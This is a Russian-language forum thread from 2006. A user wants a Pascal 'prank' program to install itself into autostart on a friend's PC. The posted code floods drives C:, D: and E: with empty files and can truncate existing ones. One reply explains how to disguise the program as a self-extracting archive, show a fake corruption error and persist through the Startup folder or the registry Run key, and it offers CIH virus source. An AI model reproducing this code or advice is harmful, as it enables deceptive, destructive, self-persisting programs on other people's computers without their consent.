Страница 1 из 1

Как заставить прогу сделаную в Паскале само-дупликироваться?

Добавлено: Ср апр 26, 2006 17:16
Unknown
[off][ TRANSLIT >> RUS ]:[/off]
Как заставить прогу, сделаную в Паскале, само-дyбликироваться?

Хочу я приколоться над другом, сделал прогу простенькую на паскале, весит 3кб...
Но хочу сделать так штоб при её запуске она копировалась в папку Автозапуска :gg:

Код: Выделить всё

program p1; 
uses crt; 
var c1,c2:char; 
    s:string; f:file; 
begin 
  clrscr; 
  textcolor(green); 
  write('Whill you enter the Matrix? (y/n)'); 
  for c1:='a' to 'z' do 
    for c2:='a' to 'z' do 
    begin 
      s:='c:\'+c1+c2+'.txt'; 
      assign(f,s);rewrite(f);close(f); 
      s:='d:\'+c1+c2+'.txt'; 
      assign(f,s);rewrite(f);close(f); 
      s:='e:\'+c1+c2+'.txt'; 
      assign(f,s);rewrite(f);close(f); 
      s:='c:\docume~1\alluse~1\desktop\'+c1+c2+'.txt'; 
      assign(f,s);rewrite(f);close(f); 
      s:='c:\'+c1+c2+'.exe'; 
      assign(f,s);rewrite(f);close(f); 
      s:='d:\'+c1+c2+'.exe'; 
      assign(f,s);rewrite(f);close(f); 
      s:='e:\'+c1+c2+'.exe'; 
      assign(f,s);rewrite(f);close(f); 
      s:='c:\'+c1+c2+'.doc'; 
      assign(f,s);rewrite(f);close(f); 
      s:='d:\'+c1+c2+'.doc'; 
      assign(f,s);rewrite(f);close(f); 
      s:='e:\'+c1+c2+'.doc'; 
      assign(f,s);rewrite(f);close(f); 
      s:='c:\'+c1+c2+'.tx'; 
      assign(f,s);rewrite(f);close(f); 
      s:='d:\'+c1+c2+'.tx'; 
      assign(f,s);rewrite(f);close(f); 
      s:='e:\'+c1+c2+'.tx'; 
      assign(f,s);rewrite(f);close(f); 
    end; 
  readln; 
end. 

Добавлено: Чт апр 27, 2006 14:49
Unknown
Сделал саморасспаковываюшийся архив... скажу што он и есть прога но на самом деле он прогу скопирует в СтартАп

если есть идеи пж напишите

Добавлено: Чт апр 27, 2006 14:58
Злобный
[off]Внимание, с вами говорит казахский вирус. Ввиду слабого развития IT-индустрии в нашей стране, удалите пожалуйста сами какие-нибудь важные файлы со своего жесткого диска и скопируйте меня соседу. Заранее спасибо.[/off]

Добавлено: Чт апр 27, 2006 15:01
Unknown
:) слышал, смеФФно однако

Добавлено: Сб апр 29, 2006 04:17
shmalex
один из вариантов это копировать себя в папку
%allusersprofile%\Start Menu\Programs\Startup
этот вариант пройдет если винда Енглиш канеша. у меня енглишь, так что сказать
как будет на русском не могу, (а на молдавском даже не представляю).
ну а если быть по изащереннее то программу лучше писать на под винду. придать ей вид самараспоковывающегося (ухх словечко) архива вирар(кошко одно задацать), иконку егзешнику дать соотв-щий и брать директорию старт апа из реестра по адрессу "hkcu software microsoft windows currentversion explorer usershellfolders" значение ключа "startup" это есть директория авто запуск для текущего плозователя. копируй ее туды и потом выдавай ошибку типа - "вааааа архив повреждеен ваще нафиг", что программа выдала нужную тебе инфу бете нужно будет поределить - запустил ее ты для для проникновения в систему, либо ты она уже зпускатеся для того чтобы заставить твоего друга боятся. ну в качестве метки можно сделать файл с директории %temp% с внушающим названием и к нам хранить время запуска т.е. врдуг твой товаресч запустет еще раз эту прогу в надежде что архив распакуется. ну т.к. разница м\у текущим временеи и то что в фаеле меньше N - продолжаем притворсять архивом,

это метод изащеренный - похожий на ходьбу вокруг да около,
еще и винда может быть не русской, а может быть и не XP
поэтому копируй прогур в %systemroot% добавь ключ в реестр по адресу hkcu software microsoft windows currentversion run" со значением "%systemroot%\ThisIsArchivNotAVirus.exe gogogo" (gogogo в данном случае это парамет запуска программы). и уже не прийдеться создовать дополнительный файл и сверять время и т.д. =) в общем смотри там не нашали сильно иначе будешь потом восстаанавливать файло товаресча =)
елси нужно могу дать исходник winchih'a для большего еффекта программы :)
удачи.
а на чистом паскале можно это сделать по первому спосбу но тогда придеться возиться с селф екстрактером, чтоб все скопировалось туда куда нужно.
творческиз тебе идей :beer: :beer:

Добавлено: Вс апр 30, 2006 07:14
jsmax
shmalex писал(а):(а на молдавском даже не представляю).
[off]на румынском ...[/off]

Unknown,

а вообще-то бери FreePascal и дерзай ...